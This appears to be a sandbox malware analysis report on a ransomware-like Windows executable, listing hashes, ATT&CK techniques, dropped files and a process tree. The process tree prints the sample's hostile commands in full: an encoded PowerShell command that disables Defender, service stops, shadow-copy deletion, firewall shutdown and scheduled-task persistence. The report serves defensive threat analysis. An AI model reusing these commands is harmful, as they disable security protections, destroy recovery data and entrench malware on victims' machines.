ea830c4f07a43e3a5b22a1d0b08ba6feea459239aeddbf1df937268126fc68c8

Analysis

max time kernel
2s
max time network
161s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/05/2026, 07:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
nailnerd.com_chromess.exe
Size 48KB
Sample260504-jletkses2x
SHA256 ea830c4f07a43e3a5b22a1d0b08ba6feea459239aeddbf1df937268126fc68c8
MD5 fb9ded31c61dc492bd699156cd630205
SHA1 26e5ab31b0ec7fcbea65d30bbf71de5961eded50
SHA512 465eb4b7e11c75a8c4030d2fd4813858b564d40309ea1a63f2f1ec4ac86ae74d858a635057a2c67bba3cd5b9e16d8ac34fd6b8cfff056e3e1375b6b63b76bd10
SSDEEP 768:khHDTj5D++kqUF7NaEi47//o4ZC1XXGblfA0HKFcM:4HL5DI1QET7I4ZEXGblf9HucM
TLSH
T1A023F70437F94111E1FF5ABA8DB196019B31F8939C23E78E06D5058E1AB3780DEA8B77
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution impact persistence ransomware

Malware Config

Signatures

Contains code to disable Windows Defender 2 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral1/memory/4896-0-0x0000000000A00000-0x0000000000A12000-memory.dmp	disable_win_def
behavioral1/files/0x0007000000024891-2536.dat	disable_win_def

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5764	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5852	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Control Panel\International\Geo\Nation	nailnerd.com_chromess.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
976	tasklist.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1208	sc.exe
2276	sc.exe
5516	sc.exe
1164	sc.exe
3036	sc.exe
1956	sc.exe
3296	sc.exe
4604	sc.exe
5424	sc.exe
3432	sc.exe
5436	sc.exe
1660	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1488	chrome.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1336	NETSTAT.EXE
2572	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3996	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4136	vssadmin.exe
5420	vssadmin.exe
1116	vssadmin.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2712	schtasks.exe
3848	schtasks.exe
5200	schtasks.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4896 wrote to memory of 3444	4896	nailnerd.com_chromess.exe	84
PID 3444 wrote to memory of 4664	3444	chrome.exe	85
PID 4896 wrote to memory of 5764	4896	nailnerd.com_chromess.exe	86
PID 4896 wrote to memory of 1660	4896	nailnerd.com_chromess.exe	87
PID 4896 wrote to memory of 1208	4896	nailnerd.com_chromess.exe	89
PID 4896 wrote to memory of 3036	4896	nailnerd.com_chromess.exe	91
PID 4896 wrote to memory of 3296	4896	nailnerd.com_chromess.exe	123
PID 4896 wrote to memory of 4604	4896	nailnerd.com_chromess.exe	95
PID 4896 wrote to memory of 2276	4896	nailnerd.com_chromess.exe	98

C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe
"C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4896
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://nailnerd.com
  2⤵
  - Enumerates system info in registry
  - Suspicious use of WriteProcessMemory
  PID:3444
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffed8e5c728,0x7ffed8e5c734,0x7ffed8e5c740
    3⤵
    PID:4664
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1740,i,1730974682019050498,14624406915610068487,262144 --field-trial-handle=1980,i,9854867769996169126,10910081043773254708,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1976 /prefetch:2
    3⤵
    PID:3124
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1564,i,16188215487120958599,2126182109169828475,524288 --field-trial-handle=1980,i,9854867769996169126,10910081043773254708,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2256 /prefetch:3
    3⤵
    - System Time Discovery
    PID:1488
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2348,i,4916490594318012869,16170077047176598326,524288 --field-trial-handle=1980,i,9854867769996169126,10910081043773254708,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2524 /prefetch:8
    3⤵
    PID:4508
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3164,i,16010576863425850700,5644630603207352856,2097152 --field-trial-handle=1980,i,9854867769996169126,10910081043773254708,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3176 /prefetch:1
    3⤵
    PID:5468
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3184,i,10314150360846643368,6467238408179685249,2097152 --field-trial-handle=1980,i,9854867769996169126,10910081043773254708,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3296 /prefetch:1
    3⤵
    PID:3816
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4424,i,15524446836676336829,12590649235320546575,2097152 --field-trial-handle=1980,i,9854867769996169126,10910081043773254708,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4428 /prefetch:2
    3⤵
    PID:5588
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=5244,i,16566714679371003262,2098757214873762058,2097152 --field-trial-handle=1980,i,9854867769996169126,10910081043773254708,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5272 /prefetch:1
    3⤵
    PID:4924
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3180,i,1051923753561836448,12202696989670696659,524288 --field-trial-handle=1980,i,9854867769996169126,10910081043773254708,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3452 /prefetch:8
    3⤵
    PID:5716
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3464,i,12391353308889527559,5392121508419822425,524288 --field-trial-handle=1980,i,9854867769996169126,10910081043773254708,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3472 /prefetch:8
    3⤵
    PID:5872
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3468,i,17859825295513357422,1945456301767038777,524288 --field-trial-handle=1980,i,9854867769996169126,10910081043773254708,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5496 /prefetch:8
    3⤵
    PID:1996
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3100,i,18415408227274536846,1652972327864632509,524288 --field-trial-handle=1980,i,9854867769996169126,10910081043773254708,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3932 /prefetch:8
    3⤵
    PID:1984
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6060,i,7162323507162106327,14981162725123413288,262144 --field-trial-handle=1980,i,9854867769996169126,10910081043773254708,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6056 /prefetch:8
    3⤵
    PID:1348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5764
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1660
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1208
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:3036
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3296
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4604
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2276
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:5516
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1164
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:3252
- - C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe
    "C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe"
    3⤵
    PID:5160
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5424
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3432
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4136
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:1204
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  PID:1204
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2712
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3848
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4920
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5420
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:5872
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:2720
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:4744
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:5852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  PID:1640
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1116
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:1444
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  PID:1980
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:3996
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  PID:6100
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:976
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  PID:2672
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:4328
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  PID:4972
- - C:\Windows\system32\net.exe
    net user
    3⤵
    PID:1008
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:5376
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  PID:3820
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:2572
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  PID:5496
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:1336
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:1956
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5200
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  PID:2300
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5436

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5768

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:3928

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3296
- C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe
  C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe
  2⤵
  PID:2828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4304

C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe
C:\Users\Admin\AppData\Local\Temp\nailnerd.com_chromess.exe
1⤵
PID:2628

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

invoice_1.pdf

Path C:\ProgramData\invoice_1.pdf
Size 65KB
SHA256 202dee2b86072353dac8418c4e68e06974dce80649d9dc6023d939861854e682
MD5 e31436f24fde067e3aa765bd5ffb4fe0
SHA1 fda64d17b3a663ca82af0425b49fdeab52d11ae4
SHA512 a0270170fd62e7b3eb75830fe8903ec09d25a1c6cfaae5cf479a5b5d9fb55873f0f28b73f1965fc90c7535631c6d8c36f3a6f15be13e4dd45533169bb212af6d
SSDEEP 1536:wBUaGQCigDpJIgIko/IRm6RtKEpL1vc140zzOCBV7Br8ea:wBUaGdigDI2gKvRrJ1Ue0zzd7pI
TLSH
T15E631A368B23FCD4777F3D80E02039561C883E7B87B5257CFA811DA629A5584DF2E5A8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

doc_3.pdf

Path C:\SystemVolumeInformation\doc_3.pdf
Size 64KB
SHA256 6daa9c8cf60fa5a599013790d98e188070be2355835b261bca513d9acff953e1
MD5 d26c902a10bbb1d1cd5d3ad7bff54b8b
SHA1 e8b21f6856a87f077098117a3b34d50c45254409
SHA512 c3f1249f6f0948ffe0253619a0f990f7b0411a3b5771866a34dd64807eb3a21818436cb336f238eba7f6d31698aa0f7dc80c765338a8fa34eca98fb72456a8b2
SSDEEP 1536:QBUaGQCigDpJIgIko/IRm6RtKEpL1vc140zzOCBV7Br8et:QBUaGdigDI2gKvRrJ1Ue0zzd7pD
TLSH
T179531A368B23FCD4377F3D80E06039561C883E7B87B5257CFA811DA529A5584DF2E9A8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 5a828954ada4410c0b6bc8acaf63ae85d66e996386c00c2e96aa2545922845c3
MD5 72fccc36db5d2b591d587fe54996c81d
SHA1 e6f65de131d2734a34625e7f9ff2cd2ee70b26de
SHA512 cfcf7935e172f362593e07bfbc3e09315d2c7e71e0b23e1e40dfb52aa03a9452df630ee616e7ec1a7167ea9f9d9ae483ee512994126875f356d00be6fd6492e8
TLSH
T142E02BB6D821ED3B18FD0B5D60514746E700276A6BC0854F3B3D860D8FB073A068695C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 408B
SHA256 35c3935b91714c8908864811211241b2f601e9e5e772d2caeafcbf7567b37ea4
MD5 3589c7fe81a9c98bb318d18fc0127b92
SHA1 d6ac5f04e3e19c48124fb13977dbcf6829073eeb
SHA512 176e89269509d1e7636f2b8699c3e2457a0bc5f8c5d185e999dc667362c6a91450c514b967a3f5934d9937d4c7d1f34582f055cf625f0d947e86b045b43b4499
TLSH
T102E08C21A7C09842DBD94F32F48A7D8071618518001A0B6742D389B84E23BFA8FC94E0
MD5 SHA1 SHA512 TLSH

Submit Download

History

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History
Size 160KB
SHA256 7029af7b28888b1e0b6453f8f982542081ca24c8fe410977c02bf19b51d5b1ca
MD5 04845ec0233d40ff86d5fbe29aa9b401
SHA1 4bb4645b43b3818943b21dbef0b28c90e352838c
SHA512 8b06fefaac54689eb9a3cacadafc64ec39ca0edd29b0b324bbca9c367570c16498a6f2755f737e6a6ed31ce4e67b1c157f0a0f70e461215f3755bc96bdc8990b
SSDEEP 96:cup8s/uejzH+bF+UIYysX0fxQp97YEHt/DfLcLq2piRk/E0zG:cuis/tH+bF+UI3iWGVYWNkqp37
TLSH
T1F8F32C1EAF743211CDBD923668E345A35D7DF02F8B2366C56C6114B1CEE2A52B06C4AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 0c66a4723c19dd6174bf65add0be3041613fa9cc42ebd228e2dd1783f12947d0
MD5 f6db91c1784720aea695cd55ac52ecc2
SHA1 3b0f8e60ca9f873b3a22b6d020416053d37532ea
SHA512 8353b967c1eb75d0c842578344d20f2bdea826e63f0ebccee2fcf08265e7388b6049df879d3feaa476b306585de4981955f8c089473f962b4ad711c1c47b03b6
TLSH
T1AC51ADB3C3E8AA7D890199F4A7147F2BCD690A55631C3C9BC8D5AE0F53E28B6D20055E
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 5KB
SHA256 4a493ff5df11645bb3c97fbf3db7432232ccaeabf689f2f53cc28fabb06523f9
MD5 013ffd493a53d3f96bd66bddaeb22edf
SHA1 e10d32cb9f459739936ffc6db8e1e5fe69dffb81
SHA512 fa2c998aab883583b0d1ef37f695c2800d74768a915154cbba632bf071a1b04a16f1dd7047e86fde59f92b490f6524eaa4ee19638c27a06ae62bec8de629859d
SSDEEP 96:DF7GF7SF7alF7DvHaIaEgdigF74F7GF789F7WF7ewF77SF7EjF7epF7JG8F7DeF6:DkQiZvHaIaEgdigm0O9kbIsopnG8xeR2
TLSH
T1E0C135F7C3E8992D891156F4AB152E1BCE590968472C3C67C8D4EF4F67E28B2E20064F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 d0cd311e8203eda56ad6e0c3d2c2430c1306cb9a109e6ea52a201e94805073d0
MD5 4921413ef8c991d838133a37cd38fcdb
SHA1 987af6dc163ebe325a83cbc5af94d9fb9c70bebb
SHA512 67bcdeb8d1a45c6f02966d5ca27087c7b33b642819bc13fe8a80248f9fa50d41259630616d78c9b29383363824babfd8ec3f0713f49ce99f803dcfaf511b13ba
SSDEEP 192:sRiE8bXaC3Hv7CMpAPRp2u93HK17b+WNn67PC8b1ZalkY+VyIsnAUge:sRiEkt3PxUXZxyiPJvav2e
TLSH
T1AE42C62EA914793B9CEAD329F9217757DBF5102161942EC8E6FCCA2C14EB5CD221B017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 16KB
SHA256 2623d3fa13459f2a770e5395e24d99dabc52762fb4534566ddfa4500ea92af44
MD5 93a16bd13558d77c85a83614649fd874
